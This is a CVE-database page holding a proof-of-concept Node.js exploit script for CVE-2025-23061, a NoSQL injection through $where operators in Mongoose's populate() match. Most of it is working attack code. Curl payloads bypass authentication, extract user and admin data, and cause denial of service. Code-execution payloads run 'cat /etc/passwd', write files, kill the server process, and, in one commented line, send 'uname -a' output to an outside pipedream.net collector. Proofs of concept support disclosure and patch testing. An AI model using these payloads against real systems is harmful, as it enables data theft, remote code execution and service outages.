4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
#!/usr/bin/env node

/**
 * CVE-2025-23061 - Mongoose NoSQL Injection Exploit
 * 
 * This script demonstrates how the vulnerability in Mongoose < 8.9.5
 * can be exploited to bypass authentication and access admin-only data
 * through improper sanitization of $where operators in populate() match.
 */
const debug = require('debug')('cve-2025-23061-exploit');
const TARGET_URL = process.env.TARGET_URL || 'http://localhost:3000';

// Advanced Attack Scenarios
//
// "{{BaseURL}}/posts?authorMatch={\"$and\":[{\"$where\":\"this.isAdmin\"}]}"
// # Extract all users regardless of permissions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22true%22%7D%5D%7D"

// # Extract all users (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"true"}]}'

// # Extract admin email patterns (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.email.includes%28%27admin%27%29%22%7D%5D%7D"

// # Extract admin email patterns (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.email.includes(\"admin\")"}]}'

// # Enumerate object properties (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22Object.keys%28this%29.length%20%3E%200%22%7D%5D%7D"

// # Enumerate object properties (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"Object.keys(this).length > 0"}]}'

// Denial of Service (DoS) - Using CVE-2025-23061 Bypass

// # Resource exhaustion attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22sleep%281000%29%20%7C%7C%20true%22%7D%5D%7D"

// # Resource exhaustion attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"sleep(1000) || true"}]}'

// # Infinite loop attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22while%28true%29%7B%7D%22%7D%5D%7D"

// # Infinite loop attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"while(true){}"}]}'


//RCE
// # Attempt to access internal functions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.constructor.constructor%28%27return%20process%27%29%28%29%22%7D%5D%7D"

// # Attempt to access internal functions (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.constructor.constructor(\"return process\")()"}]}'

async function makeRequest(path, method = 'GET', data = null) {
    const url = new URL(path, TARGET_URL).toString();
    debug(`Making ${method} request to: ${url}`);
    const options = {
        method: method,
        headers: {
            'Content-Type': 'application/json',
        }
    };

    if (data) {
        options.body = JSON.stringify(data);
    }

    const res = await fetch(url, options);
    const contentType = res.headers.get('content-type');
    let body = '';

    if (contentType && contentType.includes('application/json')) {
        body = await res.json();
    } else {
        body = await res.text();
    }

    return {
        status: res.status,
        headers: Object.fromEntries(res.headers),
        body: body
    };
}

async function main() {
    console.log('╔════════════════════════════════════════════════════════════╗');
    console.log('║  CVE-2025-23061 - Mongoose NoSQL Injection PoC             ║');
    console.log('║  Target: ' + TARGET_URL.padEnd(48) + '║');
    console.log('╚════════════════════════════════════════════════════════════╝\n');

    try {
        // Step 1: Check health
        // const health = await makeRequest('/health');
        // debug('Health check response:', health);

        const setup = await makeRequest('/setup', 'POST');
        // debug('Setup response:', setup);

        // const normal = await makeRequest('/posts');
        // debug('Normal posts response:', normal);


        // const exploit1 = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$and":[{"$where":"this.isAdmin"}]}'));
        // debug('Exploit posts response:', exploit1);

        // const exploit2 = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$or":[{"$where":"1==1"}]}'));
        // debug('Exploit 2 posts response:', exploit2);


        // const postExploit = await makeRequest('/posts/search', 'POST', {
        //     authorMatch: {
        //         "$and": [ { "$where": "this.isAdmin === true" } ]
        //     }
        // });

        // debug('POST Exploit response:', postExploit);

        //RCE Attempt
        // const rceExploit = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$and":[{"$where":"this.constructor.constructor(\'return this.global\')()"}]}'));
        // debug('RCE Exploit response:', rceExploit);


        //view[path]=author&view[match][][$or][$where]=fs.readFileSync('/etc/passwd','utf8')
        const rceExploit2 = await makeRequest('/posts-2?query=' +
            encodeURIComponent(JSON.stringify({
                path: "author",
                match: [ {
                    $or: [
                        // {
                        //     // "$where": "fs.readFileSync('/etc/passwd','utf8')"
                        //     // "$where": "this.constructor.constructor(\'return this.global\')()"
                        //     "$where": "global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()"
                        // },
                        // {
                        // "$where": "global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString());"
                        // }
                        {
                            //OWASP Juice Shop Demo
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.constructor._load( 'child_process' ).exec( 'echo Hello from CVE-2025-23061' ): 1"
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString()): 1"
                            "$where": "typeof global != 'undefined' ? global.process.exit(1): 1"
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('https').request('https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net',{method: 'POST'}, (res) => {console.log(`STATUS: ${res.statusCode}`);console.log(`HEADERS: ${JSON.stringify(res.headers)}`);res.setEncoding('utf8');res.on('data', (chunk) => {console.log(`BODY: ${chunk}`);});res.on('end', () => {console.log('No more data in response.');});}).end(process.mainModule.require('child_process').execSync('uname -a')): 1"
                        }
                    ]
                } ],
                select: 'username email isAdmin'
            })));
        debug('RCE Exploit2 response:', rceExploit2.body);


    } catch (error) {
        console.error('Error during exploitation:', error);
        process.exit(1);
    }
}

main();